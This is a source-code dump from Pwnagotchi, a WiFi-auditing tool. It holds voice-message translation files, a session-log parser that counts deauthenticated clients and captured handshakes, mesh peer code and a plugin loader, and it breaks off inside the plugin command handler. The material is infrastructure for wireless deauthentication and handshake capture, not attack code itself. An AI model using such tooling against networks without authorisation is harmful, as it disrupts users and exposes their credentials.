..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "歐哦...\n{name}\n不見了." #, python-brace-format msgid "{name} missed!" msgstr "我剛剛錯過了{name}!" msgid "Missed!" msgstr "又錯過了!" msgid "Good friends are a blessing!" msgstr "有個好朋友\n真幸福!" msgid "I love my friends!" msgstr "我喜歡\n我的朋友!" msgid "Nobody wants to play with me ..." msgstr "沒人想跟我玩..." msgid "I feel so alone ..." msgstr "我感覺好孤單..." msgid "Where's everybody?!" msgstr "大家都去哪裡了?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "我想瞇{secs}秒一下..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz({secs}秒)" msgid "Good night." msgstr "晚安." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "等我{secs}秒..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "環顧四周({secs}秒)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "嗨\n{what}\n讓我我們來當朋友吧!" #, python-brace-format msgid "Associating to {what}" msgstr "正在連接\n{what}" #, python-brace-format msgid "Yo {what}!" msgstr "喲,\n{what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "我要讓\n{mac}\n斷線!\n他不需要上網!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "解除\n{mac}\n的授權中" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "把\n{mac}\n踢出中!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "酷哦,我們抓到{num}個\n新的握手包{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "你有{count}個新訊息{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "喔歐,有些地方出錯了...\n重新啟動中..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "踢了 {num} 個設備\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "交了 {num} 個新朋友\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "捕獲了 {num} 個握手包\n" msgid "Met 1 peer 同好" msgstr "遇到了 1 個" #, python-brace-format msgid "Met {num} peers" msgstr "遇到了 {num} 個同好" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "我花了{duration}的時間\n駭入和踢了{deauthed}好多設備.\n" "我還交了好多{associated}新朋友,\n而且抓到了{handshakes}握手包!" "#pwnagotchi#入侵日志 #駭客人生 #入侵整個星球 #天網" msgid "hours" msgstr "時" msgid "minutes" msgstr "分" msgid "seconds" msgstr "秒" msgid "hour" msgstr "時" msgid "minute" msgstr "分" msgid "second" msgstr "秒" ================================================ FILE: pwnagotchi/locale/ua/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # damoklov , 2019. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-23 20:56+0200\n" "PO-Revision-Date: 2019-11-02 16:20+0200\n" "Last-Translator: damoklov \n" "Language-Team: Ukrainian\n" "Language: ua\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Привіт, я Pwnagotchi! Починаймо ..." msgid "New day, new hunt, new pwns!" msgstr "Новий день, нове полювання, нові проникнення!" msgid "Hack the Planet!" msgstr "Хакни цілу планету!" msgid "AI ready." msgstr "Штучний інтелект готовий." msgid "The neural network is ready." msgstr "Нейронна мережа готова." msgid "Generating keys, do not turn off ..." msgstr "Генерую ключі, не вимикай живлення ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Агов, канал {channel} вільний! Ваша точка доступу буде вдячна." msgid "I'm bored ..." msgstr "Мені сумно ..." msgid "Let's go for a walk!" msgstr "Нумо прогуляймось!" msgid "This is the best day of my life!" msgstr "Сьогодні найкращий день у моєму житті!" msgid "Shitty day :/" msgstr "Поганенький день :/" msgid "I'm extremely bored ..." msgstr "Мені геть сумно ..." msgid "I'm very sad ..." msgstr "Я дуже засмучений ..." msgid "I'm sad" msgstr "Я засмучений" msgid "I'm living the life!" msgstr "Ось таке у мене життя!" msgid "I pwn therefore I am." msgstr "Народжений, щоб зламувати." msgid "So many networks!!!" msgstr "Овва, стільки мереж!!!" msgid "I'm having so much fun!" msgstr "Мені так весело!" msgid "My crime is that of curiosity ..." msgstr "Мій єдиний злочин - це допитливість ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Привіт, {name}! Приємно познайомитись." #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Ціль {name} неподалік!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Що ж ... бувай, {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} зникла ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ой-ой ... {name} зникла." #, python-brace-format msgid "{name} missed!" msgstr "{name} втрачено!" msgid "Missed!" msgstr "Не впіймав!" msgid "Good friends are a blessing!" msgstr "Справжні друзі - це чудово!" msgid "I love my friends!" msgstr "Я люблю своїх друзів!" msgid "Nobody wants to play with me ..." msgstr "Ніхто не хоче бавитись зі мною ..." msgid "I feel so alone ..." msgstr "Я почуваюсь вкрай самотньо ..." msgid "Where's everybody?!" msgstr "Куди всі зникли?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Дрімаю {secs}с ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}с)" msgid "Good night." msgstr "Спокійної нічки." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Очікую {secs}с ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Роздивляюсь довкола ({secs}с)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Агов, {what}, будьмо друзями!" #, python-brace-format msgid "Associating to {what}" msgstr "Налагоджую зв'язок з {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Гей, {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Вирішив, що {mac} більше не потребує WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Від'єднюю {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Вилучаю {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Отакої, у нас є {num} нових рукостискань!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Нових повідомлень: {count}" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ой, щось пішло не так ... Перезавантажуюсь ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Від'єднав {num} станцій\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Нових друзів у мене: {num}\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Перехопив рукостискань: {num}\n" msgid "Met 1 peer" msgstr "Зустрівся з одним знайомим" #, python-brace-format msgid "Met {num} peers" msgstr "Зустрівся з {num}-ма знайомими" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Я зламував впродовж {duration} та від'єднав {deauthed} клієнтів! Я зустрів " "{associated} нових друзів та схрумав {handshakes} рукостискань! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "годин" msgid "minutes" msgstr "хвилин" msgid "seconds" msgstr "секунд" msgid "hour" msgstr "година" msgid "minute" msgstr "хвилина" msgid "second" msgstr "секунда" ================================================ FILE: pwnagotchi/locale/voice.pot ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "" msgid "New day, new hunt, new pwns!" msgstr "" msgid "Hack the Planet!" msgstr "" msgid "AI ready." msgstr "" msgid "The neural network is ready." msgstr "" msgid "Generating keys, do not turn off ..." msgstr "" #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "" msgid "Reading last session logs ..." msgstr "" #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "" msgid "I'm bored ..." msgstr "" msgid "Let's go for a walk!" msgstr "" msgid "This is the best day of my life!" msgstr "" msgid "Shitty day :/" msgstr "" msgid "I'm extremely bored ..." msgstr "" msgid "I'm very sad ..." msgstr "" msgid "I'm sad" msgstr "" msgid "Leave me alone ..." msgstr "" msgid "I'm mad at you!" msgstr "" msgid "I'm living the life!" msgstr "" msgid "I pwn therefore I am." msgstr "" msgid "So many networks!!!" msgstr "" msgid "I'm having so much fun!" msgstr "" msgid "My crime is that of curiosity ..." msgstr "" #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "" #, python-brace-format msgid "Yo {name}! Sup?" msgstr "" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "" #, python-brace-format msgid "{name} is gone ..." msgstr "" #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "" #, python-brace-format msgid "{name} missed!" msgstr "" msgid "Missed!" msgstr "" msgid "Good friends are a blessing!" msgstr "" msgid "I love my friends!" msgstr "" msgid "Nobody wants to play with me ..." msgstr "" msgid "I feel so alone ..." msgstr "" msgid "Where's everybody?!" msgstr "" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "" msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "" msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "" #, python-brace-format msgid "Looking around ({secs}s)" msgstr "" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "" #, python-brace-format msgid "Associating to {what}" msgstr "" #, python-brace-format msgid "Yo {what}!" msgstr "" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "" msgid "Oops, something went wrong ... Rebooting ..." msgstr "" #, python-brace-format msgid "Kicked {num} stations\n" msgstr "" #, python-brace-format msgid "Made {num} new friends\n" msgstr "" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "" msgid "Met 1 peer" msgstr "" #, python-brace-format msgid "Met {num} peers" msgstr "" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" msgid "hours" msgstr "" msgid "minutes" msgstr "" msgid "seconds" msgstr "" msgid "hour" msgstr "" msgid "minute" msgstr "" msgid "second" msgstr "" #, python-brace-format msgid "Uploading data to {to} ..." msgstr "" ================================================ FILE: pwnagotchi/log.py ================================================ import hashlib import time import re import os import logging import shutil import gzip import warnings from datetime import datetime from pwnagotchi.voice import Voice from pwnagotchi.mesh.peer import Peer from file_read_backwards import FileReadBackwards LAST_SESSION_FILE = '/root/.pwnagotchi-last-session' class LastSession(object): EPOCH_TOKEN = '[epoch ' EPOCH_PARSER = re.compile(r'^.+\[epoch (\d+)\] (.+)') EPOCH_DATA_PARSER = re.compile(r'([a-z_]+)=([^\s]+)') TRAINING_TOKEN = ' training epoch ' START_TOKEN = 'connecting to http' DEAUTH_TOKEN = 'deauthing ' ASSOC_TOKEN = 'sending association frame to ' HANDSHAKE_TOKEN = '!!! captured new handshake ' PEER_TOKEN = 'detected unit ' def __init__(self, config): self.config = config self.voice = Voice(lang=config['main']['lang']) self.path = config['main']['log']['path'] self.last_session = [] self.last_session_id = '' self.last_saved_session_id = '' self.duration = '' self.duration_human = '' self.deauthed = 0 self.associated = 0 self.handshakes = 0 self.peers = 0 self.last_peer = None self.epochs = 0 self.train_epochs = 0 self.min_reward = 1000 self.max_reward = -1000 self.avg_reward = 0 self._peer_parser = re.compile( 'detected unit (.+)@(.+) \(v.+\) on channel \d+ \(([\d\-]+) dBm\) \[sid:(.+) pwnd_tot:(\d+) uptime:(\d+)\]') self.parsed = False def _get_last_saved_session_id(self): saved = '' try: with open(LAST_SESSION_FILE, 'rt') as fp: saved = fp.read().strip() except: saved = '' return saved def save_session_id(self): with open(LAST_SESSION_FILE, 'w+t') as fp: fp.write(self.last_session_id) self.last_saved_session_id = self.last_session_id def _parse_datetime(self, dt): dt = dt.split('.')[0] dt = dt.split(',')[0] dt = datetime.strptime(dt.split('.')[0], '%Y-%m-%d %H:%M:%S') return time.mktime(dt.timetuple()) def _parse_stats(self): self.duration = '' self.duration_human = '' self.deauthed = 0 self.associated = 0 self.handshakes = 0 self.epochs = 0 self.train_epochs = 0 self.peers = 0 self.last_peer = None self.min_reward = 1000 self.max_reward = -1000 self.avg_reward = 0 started_at = None stopped_at = None cache = {} for line in self.last_session: parts = line.split(']') if len(parts) < 2: continue try: line_timestamp = parts[0].strip('[') line = ']'.join(parts[1:]) stopped_at = self._parse_datetime(line_timestamp) if started_at is None: started_at = stopped_at if LastSession.DEAUTH_TOKEN in line and line not in cache: self.deauthed += 1 cache[line] = 1 elif LastSession.ASSOC_TOKEN in line and line not in cache: self.associated += 1 cache[line] = 1 elif LastSession.HANDSHAKE_TOKEN in line and line not in cache: self.handshakes += 1 cache[line] = 1 elif LastSession.TRAINING_TOKEN in line: self.train_epochs += 1 elif LastSession.EPOCH_TOKEN in line: self.epochs += 1 m = LastSession.EPOCH_PARSER.findall(line) if m: epoch_num, epoch_data = m[0] m = LastSession.EPOCH_DATA_PARSER.findall(epoch_data) for key, value in m: if key == 'reward': reward = float(value) self.avg_reward += reward if reward < self.min_reward: self.min_reward = reward elif reward > self.max_reward: self.max_reward = reward elif LastSession.PEER_TOKEN in line: m = self._peer_parser.findall(line) if m: name, pubkey, rssi, sid, pwnd_tot, uptime = m[0] if pubkey not in cache: self.last_peer = Peer({ 'session_id': sid, 'channel': 1, 'rssi': int(rssi), 'identity': pubkey, 'advertisement': { 'name': name, 'pwnd_tot': int(pwnd_tot) }}) self.peers += 1 cache[pubkey] = self.last_peer else: cache[pubkey].adv['pwnd_tot'] = pwnd_tot except Exception as e: logging.error("error parsing line '%s': %s" % (line, e)) if started_at is not None: self.duration = stopped_at - started_at mins, secs = divmod(self.duration, 60) hours, mins = divmod(mins, 60) else: hours = mins = secs = 0 self.duration = '%02d:%02d:%02d' % (hours, mins, secs) self.duration_human = [] if hours > 0: self.duration_human.append('%d %s' % (hours, self.voice.hhmmss(hours, 'h'))) if mins > 0: self.duration_human.append('%d %s' % (mins, self.voice.hhmmss(mins, 'm'))) if secs > 0: self.duration_human.append('%d %s' % (secs, self.voice.hhmmss(secs, 's'))) self.duration_human = ', '.join(self.duration_human) self.avg_reward /= (self.epochs if self.epochs else 1) def parse(self, ui, skip=False): if skip: logging.debug("skipping parsing of the last session logs ...") else: logging.debug("reading last session logs ...") ui.on_reading_logs() lines = [] if os.path.exists(self.path): with FileReadBackwards(self.path, encoding="utf-8") as fp: for line in fp: line = line.strip() if line != "" and line[0] != '[': continue lines.append(line) if LastSession.START_TOKEN in line: break lines_so_far = len(lines) if lines_so_far % 100 == 0: ui.on_reading_logs(lines_so_far) lines.reverse() if len(lines) == 0: lines.append("Initial Session"); ui.on_reading_logs() self.last_session = lines self.last_session_id = hashlib.md5(lines[0].encode()).hexdigest() self.last_saved_session_id = self._get_last_saved_session_id() logging.debug("parsing last session logs (%d lines) ..." % len(lines)) self._parse_stats() self.parsed = True def is_new(self): return self.last_session_id != self.last_saved_session_id def setup_logging(args, config): cfg = config['main']['log'] filename = cfg['path'] formatter = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s") root = logging.getLogger() root.setLevel(logging.DEBUG if args.debug else logging.INFO) if filename: # since python default log rotation might break session data in different files, # we need to do log rotation ourselves log_rotation(filename, cfg) file_handler = logging.FileHandler(filename) file_handler.setFormatter(formatter) root.addHandler(file_handler) console_handler = logging.StreamHandler() console_handler.setFormatter(formatter) root.addHandler(console_handler) if not args.debug: # disable scapy and tensorflow logging logging.getLogger("scapy").disabled = True logging.getLogger('tensorflow').disabled = True # https://stackoverflow.com/questions/15777951/how-to-suppress-pandas-future-warning warnings.simplefilter(action='ignore', category=FutureWarning) warnings.simplefilter(action='ignore', category=DeprecationWarning) # https://stackoverflow.com/questions/24344045/how-can-i-completely-remove-any-logging-from-requests-module-in-python?noredirect=1&lq=1 logging.getLogger("urllib3").propagate = False requests_log = logging.getLogger("requests") requests_log.addHandler(logging.NullHandler()) requests_log.prpagate = False def log_rotation(filename, cfg): rotation = cfg['rotation'] if not rotation['enabled']: return elif not os.path.isfile(filename): return stats = os.stat(filename) # specify a maximum size to rotate ( format is 10/10B, 10K, 10M 10G ) if rotation['size']: max_size = parse_max_size(rotation['size']) if stats.st_size >= max_size: do_rotate(filename, stats, cfg) else: raise Exception("log rotation is enabled but log.rotation.size was not specified") def parse_max_size(s): parts = re.findall(r'(^\d+)([bBkKmMgG]?)', s) if len(parts) != 1 or len(parts[0]) != 2: raise Exception("can't parse %s as a max size" % s) num, unit = parts[0] num = int(num) unit = unit.lower() if unit == 'k': return num * 1024 elif unit == 'm': return num * 1024 * 1024 elif unit == 'g': return num * 1024 * 1024 * 1024 else: return num def do_rotate(filename, stats, cfg): base_path = os.path.dirname(filename) name = os.path.splitext(os.path.basename(filename))[0] archive_filename = os.path.join(base_path, "%s.gz" % name) counter = 2 while os.path.exists(archive_filename): archive_filename = os.path.join(base_path, "%s-%d.gz" % (name, counter)) counter += 1 log_filename = archive_filename.replace('gz', 'log') print("%s is %d bytes big, rotating to %s ..." % (filename, stats.st_size, log_filename)) shutil.move(filename, log_filename) print("compressing to %s ..." % archive_filename) with open(log_filename, 'rb') as src: with gzip.open(archive_filename, 'wb') as dst: dst.writelines(src) os.remove(log_filename) ================================================ FILE: pwnagotchi/mesh/__init__.py ================================================ ================================================ FILE: pwnagotchi/mesh/peer.py ================================================ import time import logging import datetime import pwnagotchi.ui.faces as faces def parse_rfc3339(dt): if dt == "0001-01-01T00:00:00Z": return datetime.datetime.now() return datetime.datetime.strptime(dt.split('.')[0], "%Y-%m-%dT%H:%M:%S") class Peer(object): def __init__(self, obj): now = time.time() just_met = datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%S") try: self.first_met = parse_rfc3339(obj.get('met_at', just_met)) self.first_seen = parse_rfc3339(obj.get('detected_at', just_met)) self.prev_seen = parse_rfc3339(obj.get('prev_seen_at', just_met)) except Exception as e: logging.warning("error while parsing peer timestamps: %s" % e) logging.debug(e, exc_info=True) self.first_met = just_met self.first_seen = just_met self.prev_seen = just_met self.last_seen = now # should be seen_at self.encounters = obj.get('encounters', 0) self.session_id = obj.get('session_id', '') self.last_channel = obj.get('channel', 1) self.rssi = obj.get('rssi', 0) self.adv = obj.get('advertisement', {}) def update(self, new): if self.name() != new.name(): logging.info("peer %s changed name: %s -> %s" % (self.full_name(), self.name(), new.name())) if self.session_id != new.session_id: logging.info("peer %s changed session id: %s -> %s" % (self.full_name(), self.session_id, new.session_id)) self.adv = new.adv self.rssi = new.rssi self.session_id = new.session_id self.last_seen = time.time() self.prev_seen = new.prev_seen self.first_met = new.first_met self.encounters = new.encounters def inactive_for(self): return time.time() - self.last_seen def first_encounter(self): return self.encounters == 1 def is_good_friend(self, config): return self.encounters >= config['personality']['bond_encounters_factor'] def face(self): return self.adv.get('face', faces.FRIEND) def name(self): return self.adv.get('name', '???') def identity(self): return self.adv.get('identity', '???') def full_name(self): return "%s@%s" % (self.name(), self.identity()) def version(self): return self.adv.get('version', '1.0.0a') def pwnd_run(self): return int(self.adv.get('pwnd_run', 0)) def pwnd_total(self): return int(self.adv.get('pwnd_tot', 0)) def uptime(self): return self.adv.get('uptime', 0) def epoch(self): return self.adv.get('epoch', 0) def full_name(self): return '%s@%s' % (self.name(), self.identity()) def is_closer(self, other): return self.rssi > other.rssi ================================================ FILE: pwnagotchi/mesh/utils.py ================================================ import _thread import logging import time import pwnagotchi import pwnagotchi.utils as utils import pwnagotchi.ui.faces as faces import pwnagotchi.plugins as plugins import pwnagotchi.grid as grid from pwnagotchi.mesh.peer import Peer class AsyncAdvertiser(object): def __init__(self, config, view, keypair): self._config = config self._view = view self._keypair = keypair self._advertisement = { 'name': pwnagotchi.name(), 'version': pwnagotchi.__version__, 'identity': self._keypair.fingerprint, 'face': faces.FRIEND, 'pwnd_run': 0, 'pwnd_tot': 0, 'uptime': 0, 'epoch': 0, 'policy': self._config['personality'] } self._peers = {} self._closest_peer = None def fingerprint(self): return self._keypair.fingerprint def _update_advertisement(self, s): self._advertisement['pwnd_run'] = len(self._handshakes) self._advertisement['pwnd_tot'] = utils.total_unique_handshakes(self._config['bettercap']['handshakes']) self._advertisement['uptime'] = pwnagotchi.uptime() self._advertisement['epoch'] = self._epoch.epoch grid.set_advertisement_data(self._advertisement) def start_advertising(self): if self._config['personality']['advertise']: _thread.start_new_thread(self._adv_poller, ()) grid.set_advertisement_data(self._advertisement) grid.advertise(True) self._view.on_state_change('face', self._on_face_change) else: logging.warning("advertising is disabled") def _on_face_change(self, old, new): self._advertisement['face'] = new grid.set_advertisement_data(self._advertisement) def cumulative_encounters(self): return sum(peer.encounters for _, peer in self._peers.items()) def _on_new_peer(self, peer): logging.info("new peer %s detected (%d encounters)" % (peer.full_name(), peer.encounters)) self._view.on_new_peer(peer) plugins.on('peer_detected', self, peer) def _on_lost_peer(self, peer): logging.info("lost peer %s" % peer.full_name()) self._view.on_lost_peer(peer) plugins.on('peer_lost', self, peer) def _adv_poller(self): # give the system a few seconds to start the first time so that any expressions # due to nearby units will be rendered properly time.sleep(20) while True: try: logging.debug("polling pwngrid-peer for peers ...") grid_peers = grid.peers() new_peers = {} self._closest_peer = None for obj in grid_peers: peer = Peer(obj) new_peers[peer.identity()] = peer if self._closest_peer is None: self._closest_peer = peer # check who's gone to_delete = [] for ident, peer in self._peers.items(): if ident not in new_peers: to_delete.append(ident) for ident in to_delete: self._on_lost_peer(self._peers[ident]) del self._peers[ident] for ident, peer in new_peers.items(): # check who's new if ident not in self._peers: self._peers[ident] = peer self._on_new_peer(peer) # update the rest else: self._peers[ident].update(peer) except Exception as e: logging.warning("error while polling pwngrid-peer: %s" % e) logging.debug(e, exc_info=True) time.sleep(3) ================================================ FILE: pwnagotchi/mesh/wifi.py ================================================ NumChannels = 140 NumChannelsExt = 165 # see https://github.com/evilsocket/pwnagotchi/issues/583 def freq_to_channel(freq): if freq <= 2472: return int(((freq - 2412) / 5) + 1) elif freq == 2484: return int(14) elif 5035 <= freq <= 5865: return int(((freq - 5035) / 5) + 7) else: return 0 ================================================ FILE: pwnagotchi/plugins/__init__.py ================================================ import os import glob import _thread import threading import importlib, importlib.util import logging default_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "default") loaded = {} database = {} locks = {} class Plugin: @classmethod def __init_subclass__(cls, **kwargs): super().__init_subclass__(**kwargs) global loaded, locks plugin_name = cls.__module__.split('.')[0] plugin_instance = cls() logging.debug("loaded plugin %s as %s" % (plugin_name, plugin_instance)) loaded[plugin_name] = plugin_instance for attr_name in plugin_instance.__dir__(): if attr_name.startswith('on_'): cb = getattr(plugin_instance, attr_name, None) if cb is not None and callable(cb): locks["%s::%s" % (plugin_name, attr_name)] = threading.Lock() def toggle_plugin(name, enable=True): """ Load or unload a plugin returns True if changed, otherwise False """ import pwnagotchi from pwnagotchi.ui import view from pwnagotchi.utils import save_config global loaded, database if pwnagotchi.config: if not name in pwnagotchi.config['main']['plugins']: pwnagotchi.config['main']['plugins'][name] = dict() pwnagotchi.config['main']['plugins'][name]['enabled'] = enable save_config(pwnagotchi.config, '/etc/pwnagotchi/config.toml') if not enable and name in loaded: if getattr(loaded[name], 'on_unload', None): loaded[name].on_unload(view.ROOT) del loaded[name] return True if enable and name in database and name not in loaded: load_from_file(database[name]) if name in loaded and pwnagotchi.config and name in pwnagotchi.config['main']['plugins']: loaded[name].options = pwnagotchi.config['main']['plugins'][name] one(name, 'loaded') if pwnagotchi.config: one(name, 'config_changed', pwnagotchi.config) one(name, 'ui_setup', view.ROOT) one(name, 'ready', view.ROOT._agent) return True return False def on(event_name, *args, **kwargs): for plugin_name in loaded.keys(): one(plugin_name, event_name, *args, **kwargs) def locked_cb(lock_name, cb, *args, **kwargs): global locks if lock_name not in locks: locks[lock_name] = threading.Lock() with locks[lock_name]: cb(*args, *kwargs) def one(plugin_name, event_name, *args, **kwargs): global loaded if plugin_name in loaded: plugin = loaded[plugin_name] cb_name = 'on_%s' % event_name callback = getattr(plugin, cb_name, None) if callback is not None and callable(callback): try: lock_name = "%s::%s" % (plugin_name, cb_name) locked_cb_args = (lock_name, callback, *args, *kwargs) _thread.start_new_thread(locked_cb, locked_cb_args) except Exception as e: logging.error("error while running %s.%s : %s" % (plugin_name, cb_name, e)) logging.error(e, exc_info=True) def load_from_file(filename): logging.debug("loading %s" % filename) plugin_name = os.path.basename(filename.replace(".py", "")) spec = importlib.util.spec_from_file_location(plugin_name, filename) instance = importlib.util.module_from_spec(spec) spec.loader.exec_module(instance) return plugin_name, instance def load_from_path(path, enabled=()): global loaded, database logging.debug("loading plugins from %s - enabled: %s" % (path, enabled)) for filename in glob.glob(os.path.join(path, "*.py")): plugin_name = os.path.basename(filename.replace(".py", "")) database[plugin_name] = filename if plugin_name in enabled: try: load_from_file(filename) except Exception as e: logging.warning("error while loading %s: %s" % (filename, e)) logging.debug(e, exc_info=True) return loaded def load(config): enabled = [name for name, options in config['main']['plugins'].items() if 'enabled' in options and options['enabled']] # load default plugins load_from_path(default_path, enabled=enabled) # load custom ones custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None if custom_path is not None: load_from_path(custom_path, enabled=enabled) # propagate options for name, plugin in loaded.items(): plugin.options = config['main']['plugins'][name] on('loaded') on('config_changed', config) ================================================ FILE: pwnagotchi/plugins/cmd.py ================================================ # Handles the commandline stuff import os import logging import glob import re import shutil from fnmatch import fnmatch from pwnagotchi.utils import download_file, unzip, save_config, parse_version, md5 from pwnagotchi.plugins import default_path SAVE_DIR = '/usr/local/share/pwnagotchi/availaible-plugins/' DEFAULT_INSTALL_PATH = '/usr/local/share/pwnagotchi/installed-plugins/' def add_parsers(parser): """ Adds the plugins subcommand to a given argparse.ArgumentParser """ subparsers = parser.add_subparsers() ## pwnagotchi plugins parser_plugins = subparsers.add_parser('plugins') plugin_subparsers = parser_plugins.add_subparsers(dest='plugincmd') ## pwnagotchi plugins search parser_plugins_search = plugin_subparsers.add_parser('search', help='Search for pwnagotchi plugins') parser_plugins_search.add_argument('pattern', type=str, help="Search expression (wildcards allowed)") ## pwnagotchi plugins list parser_plugins_list = plugin_subparsers.add_parser('list', help='List available pwnagotchi plugins') parser_plugins_list.add_argument('-i', '--installed', action='store_true', required=False, help='List also installed plugins') ## pwnagotchi plugins update parser_plugins_update = plugin_subparsers.add_parser('update', help='Updates the database') ## pwnagotchi plugins upgrade parser_plugins_upgrade = plugin_subparsers.add_parser('upgrade', help='Upgrades plugins') parser_plugins_upgrade.add_argument('pattern', type=str, nargs='?', default='*', help="Filter expression (wildcards allowed)") ## pwnagotchi plugins enable parser_plugins_enable = plugin_subparsers.add_parser('enable', help='Enables a plugin') parser_plugins_enable.add_argument('name', type=str, help='Name of the plugin') ## pwnagotchi plugins disable parser_plugins_disable = plugin_subparsers.add_parser('disable', help='Disables a plugin') parser_plugins_disable.add_argument('name', type=str, help='Name of the plugin') ## pwnagotchi plugins install parser_plugins_install = plugin_subparsers.add_parser('install', help='Installs a plugin') parser_plugins_install.add_argument('name', type=str, help='Name of the plugin') ## pwnagotchi plugins uninstall parser_plugins_uninstall = plugin_subparsers.add_parser('uninstall', help='Uninstalls a plugin') parser_plugins_uninstall.add_argument('name', type=str, help='Name of the plugin') ## pwnagotchi plugins edit parser_plugins_edit = plugin_subparsers.add_parser('edit', help='Edit the options') parser_plugins_edit.add_argument('name', type=str, help='Name of the plugin') return parser def used_plugin_cmd(args): """ Checks if the plugins subcommand was used """ return hasattr(args, 'plugincmd') def handle_cmd(args, config): """ Parses the arguments and does the thing the user wants """ if args.plugincmd == 'update': return update(config) elif args.plugincmd == 'search': args.installed = True # also search in installed plugins return list_plugins(args, config, args.pattern) elif args.plugincmd == 'install': return install(args, config) elif args.plugincmd == 'uninstall': return uninstall(args, config) elif args.plugincmd == 'list': return list_plugins(args, config) elif args.plugincmd == 